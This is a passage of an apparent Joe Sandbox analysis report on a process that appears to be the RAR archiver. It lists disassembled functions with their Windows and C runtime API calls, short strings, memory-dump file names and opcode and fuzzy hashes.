String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: 66fdf3babcfc0dbd2e701f0aa7e8fd79add9bfa57d762e997f1e357f1d88fd83
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: 4E210676A182558FEB50DF68D880AAE77F0F788788F144026EE48D3B08DF39E8408F50

Function 00007FF629B57AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B57AF9

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: 629a2b2ea26a721b0c842356e1c7196edc9ed2b98b413abaf2170354e4f8a3e9
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: F781C162B1864A89FF209F65CCC06BE27A1BB8679AF404135DD0E93B95DF3CA441E712

Function 00007FF629B080C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF629B0814D
CharToOemA.USER32 ref: 00007FF629B081D8
WriteFile.KERNEL32 ref: 00007FF629B081FB
GetStdHandle.KERNEL32 ref: 00007FF629B08242
WriteConsoleW.KERNEL32 ref: 00007FF629B08266

Part of subcall function 00007FF629B3D840: WideCharToMultiByte.KERNEL32 ref: 00007FF629B3D871

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: 9621b2d8ca2b74d2d90a6c204c54e1088689762348cd09ee9479447fb63b92bb
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: 8441B521E0964A42FE109F61DD102BF6251AFCB7A2F040335E96D9B7D1DE3CE545E702

Function 00007FF629B569B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF629B56AD6

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: 39e717e26df58c6f5d97155213978a190563dfa750a56ffadcf9ecd67f03b602
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 2741B462B09A4ED1FE55AF26DC006BB7291BF86B91F098535DD1DCB794EE3CE400A342

Function 00007FF629B5DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF629B5DC47
_set_statfp.LIBCMT ref: 00007FF629B5DC62
_set_statfp.LIBCMT ref: 00007FF629B5DC7E
_set_statfp.LIBCMT ref: 00007FF629B5DCBA

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: cb34aad0e9304225d749fd67ee830f7be9a9995d87f8f71cdec8656515274942
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: 7F115476E1860B15FE545A28EC8637F15416FD7362E484734E97EC66E6CEACA440B203

Function 00007FF629B16FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B17176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B17221

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF629B1716F
%c%c%c%c%c%c%c, xrefs: 00007FF629B171E3

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: ccbfbc06f3add25b52bf49d4df92f9a53ae070ca5d5632766dfea3493207f537
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: BA515CF3F3C6448AE7648F1CEC81BA92690F3A6B91F545A24F94AD3B54CA3DDA05C701

Function 00007FF629B06E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF629B06EC8
wcschr.LIBVCRUNTIME ref: 00007FF629B06F16

Strings

MCAOmcao, xrefs: 00007FF629B06F0F
MCAOmcao, xrefs: 00007FF629B06EC1

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: dcb18c7fe7364fc7997bb2bf203ec9988e6265df2bddaf9153e64e5e8a907ab7
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: 9941E112D0C59FC1EF21AF304E511BF5251AFD3B86F584235DA0D866D6EE2EE4A1B223

Function 00007FF629B242CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B2430F
wcschr.LIBVCRUNTIME ref: 00007FF629B2432C
wcschr.LIBVCRUNTIME ref: 00007FF629B2433C

Strings

%c:\, xrefs: 00007FF629B24302

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: 305d2fc9bea1b4b345e8d6625ef63173a87f35c38770d3023a4ffc078834b931
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: 0B119312E1874981EE146F1199010AE7371EF8ABD1B289531CF6E83FD6DF3CE4619202

Function 00007FF629B42984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B42B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B42BA7

Part of subcall function 00007FF629B4BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF629B4B313), ref: 00007FF629B4BAB1
Part of subcall function 00007FF629B4BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF629B4B313), ref: 00007FF629B4BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B42BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B42BC3

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: 756c5c5305fa8da085a31c8ff3dda93508c4f5fef414429106529d22b302c04e
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: 0251F122A19A8982EF00CF25D8603AE73A1FBC5B98F049231DE5E87795DF39D111E701

Function 00007FF629B40244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B403D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B403E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629B403EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629B40400

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction ID: eb618cf05b5994c66f2386129c0b94ca273e11c3345e6bf08a27fbcc4a944e57
Opcode Fuzzy Hash: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction Fuzzy Hash: E841F762E0CACA85EF509F20D8603FF2790EF96B85F141431DB4C96699DF2CD445BB12

Function 00007FF629B55120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B55173
WideCharToMultiByte.KERNEL32 ref: 00007FF629B55245
GetLastError.KERNEL32 ref: 00007FF629B55268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B5529A

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: b55858814fa80f87f6b8f5c07a9dffa8ad8f79cec9675be7dbd813e4acbe4259
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: AD41A521A0D74646FF658E51D84037F66A1AFC6B93F144130DA4CC6AD5CF7DE441EB02

Function 00007FF629B0D048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF629AF86CB,?,?,?,00007FF629AFA5CB,?,?,00000000,?,?,00000040,?,?,00007FF629AF2DF9), ref: 00007FF629B0D09D
CreateFileW.KERNEL32(?,00007FF629AF86CB,?,?,?,00007FF629AFA5CB,?,?,00000000,?,?,00000040,?,?,00007FF629AF2DF9), ref: 00007FF629B0D0E5
CreateFileW.KERNEL32(?,00007FF629AF86CB,?,?,?,00007FF629AFA5CB,?,?,00000000,?,?,00000040,?,?,00007FF629AF2DF9), ref: 00007FF629B0D114
CreateFileW.KERNEL32(?,00007FF629AF86CB,?,?,?,00007FF629AFA5CB,?,?,00000000,?,?,00000040,?,?,00007FF629AF2DF9), ref: 00007FF629B0D15C

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 29ae88fcd743a6fbdc38d62013ac0d185e1469cc272d9ed857638cdb665a5519
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: 1D316332618B4942EB608F11E95476F77A1F7CABA8F505329EAAC47BC8CF3DD0049B01

Function 00007FF629B2CFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629B3B6D0: Sleep.KERNEL32(?,?,?,?,00007FF629B0CBED,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B3B730

new.LIBCMT ref: 00007FF629B2CFD9

Strings

rar, xrefs: 00007FF629B2D074
rev, xrefs: 00007FF629B2D00F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction ID: 972c8a12253128bf1f5c6f56c2b2f034c03f9e0a56b13cc46cb08f736cef1cba
Opcode Fuzzy Hash: 50351231c3f8732b734c05f1f2968c465adcf4732fcc2a7da3cc46214972e448
Instruction Fuzzy Hash: 4FA1D122E0869A81EE10DF21C8542BE6365FFC6B86F554036DA5D87ED6DF3CE544E302

Function 00007FF629B55CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B55D17

Strings

e+000, xrefs: 00007FF629B55DBF
gfff, xrefs: 00007FF629B55E42

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
